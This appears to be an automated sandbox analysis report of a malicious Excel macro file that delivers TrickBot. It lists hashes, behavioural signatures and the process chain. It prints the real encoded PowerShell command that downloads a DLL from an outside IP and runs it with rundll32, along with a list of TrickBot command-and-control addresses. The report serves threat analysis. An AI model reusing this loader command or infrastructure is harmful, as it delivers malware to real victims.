Analysis
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max time kernel
140s -
max time network
163s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
21-10-2021 15:12
Static task
static1
Behavioral task
behavioral1
Sample
RNP-00149.xlsm
Resource
win7-en-20211014
General
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Target
RNP-00149.xlsm
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Size
87KB
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MD5
dc44a89cc099adc3042727734525e5ca
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SHA1
343ab78089a5e242c29095ff55833b5c1da4181f
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SHA256
d3fd3711c2dcff75bf015624ac6ac8f258fbd0229cf7cd4cb5f4eaba6ec32033
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SHA512
bf67308fdecafe0b9b37679092d0ad64692a7a61afd84068b5c2cbb9cceac2799b201c41c3be14821fecb943cd5508e37251b60458d0b7ce472aca2dceb89f94
Malware Config
Extracted
trickbot
100019
rob136
65.152.201.203:443
185.56.175.122:443
46.99.175.217:443
179.189.229.254:443
46.99.175.149:443
181.129.167.82:443
216.166.148.187:443
46.99.188.223:443
128.201.76.252:443
62.99.79.77:443
60.51.47.65:443
24.162.214.166:443
45.36.99.184:443
97.83.40.67:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
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autorunName:pwgrabbName:pwgrabc
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1884 2268 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 39 3816 powershell.exe -
Downloads MZ/PE file
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Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 728 rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2268 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3816 powershell.exe 3816 powershell.exe 3816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewermgr.exedescription pid process Token: SeDebugPrivilege 3816 powershell.exe Token: SeDebugPrivilege 3628 wermgr.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE 2268 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
EXCEL.EXEcmd.exerundll32.exerundll32.exedescription pid process target process PID 2268 wrote to memory of 1884 2268 EXCEL.EXE cmd.exe PID 2268 wrote to memory of 1884 2268 EXCEL.EXE cmd.exe PID 1884 wrote to memory of 3816 1884 cmd.exe powershell.exe PID 1884 wrote to memory of 3816 1884 cmd.exe powershell.exe PID 1884 wrote to memory of 700 1884 cmd.exe rundll32.exe PID 1884 wrote to memory of 700 1884 cmd.exe rundll32.exe PID 700 wrote to memory of 728 700 rundll32.exe rundll32.exe PID 700 wrote to memory of 728 700 rundll32.exe rundll32.exe PID 700 wrote to memory of 728 700 rundll32.exe rundll32.exe PID 728 wrote to memory of 2040 728 rundll32.exe cmd.exe PID 728 wrote to memory of 2040 728 rundll32.exe cmd.exe PID 728 wrote to memory of 2040 728 rundll32.exe cmd.exe PID 728 wrote to memory of 3628 728 rundll32.exe wermgr.exe PID 728 wrote to memory of 3628 728 rundll32.exe wermgr.exe PID 728 wrote to memory of 3628 728 rundll32.exe wermgr.exe PID 728 wrote to memory of 3628 728 rundll32.exe wermgr.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00149.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe5⤵
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C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe5⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\clb.dllMD5
ca3479cf0b695d0c3037c06535b70abb
SHA1b5e92d4a0349ed705697244537ec87d0b9a26fb9
SHA256c508542451aa56d699d3c16f5cbb528545463a498d40e73731caadde76e603db
SHA51261a9ddb861ab2aea294549bc0e9ab8b3318c2034e572b7ce11e2e2cdac017b121406204e5143afc970e0ad9fbe95048c39d847aac0f2ce5a4ff2be197413e1d5
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\ProgramData\clb.dllMD5
ca3479cf0b695d0c3037c06535b70abb
SHA1b5e92d4a0349ed705697244537ec87d0b9a26fb9
SHA256c508542451aa56d699d3c16f5cbb528545463a498d40e73731caadde76e603db
SHA51261a9ddb861ab2aea294549bc0e9ab8b3318c2034e572b7ce11e2e2cdac017b121406204e5143afc970e0ad9fbe95048c39d847aac0f2ce5a4ff2be197413e1d5
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memory/700-300-0x0000000000000000-mapping.dmp
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memory/728-307-0x0000000010001000-0x0000000010003000-memory.dmpFilesize
8KB
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memory/728-305-0x00000000044F0000-0x0000000004535000-memory.dmpFilesize
276KB
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memory/728-306-0x0000000004540000-0x0000000004541000-memory.dmpFilesize
4KB
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memory/728-304-0x00000000041C0000-0x0000000004428000-memory.dmpFilesize
2.4MB
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memory/728-302-0x0000000000000000-mapping.dmp
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memory/1884-276-0x0000000000000000-mapping.dmp
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memory/2268-121-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmpFilesize
8KB
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memory/2268-117-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmpFilesize
64KB
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memory/2268-116-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmpFilesize
64KB
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memory/2268-118-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmpFilesize
64KB
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memory/2268-120-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmpFilesize
8KB
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memory/2268-127-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmpFilesize
64KB
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memory/2268-115-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmpFilesize
64KB
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memory/2268-119-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmpFilesize
8KB
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memory/3628-308-0x0000000000000000-mapping.dmp
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memory/3628-309-0x000001AF48C60000-0x000001AF48C89000-memory.dmpFilesize
164KB
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memory/3628-310-0x000001AF48CA0000-0x000001AF48CA1000-memory.dmpFilesize
4KB
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memory/3816-277-0x0000000000000000-mapping.dmp
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memory/3816-295-0x000001CFC4ED6000-0x000001CFC4ED8000-memory.dmpFilesize
8KB
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memory/3816-293-0x000001CFC4ED0000-0x000001CFC4ED2000-memory.dmpFilesize
8KB
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memory/3816-294-0x000001CFC4ED3000-0x000001CFC4ED5000-memory.dmpFilesize
8KB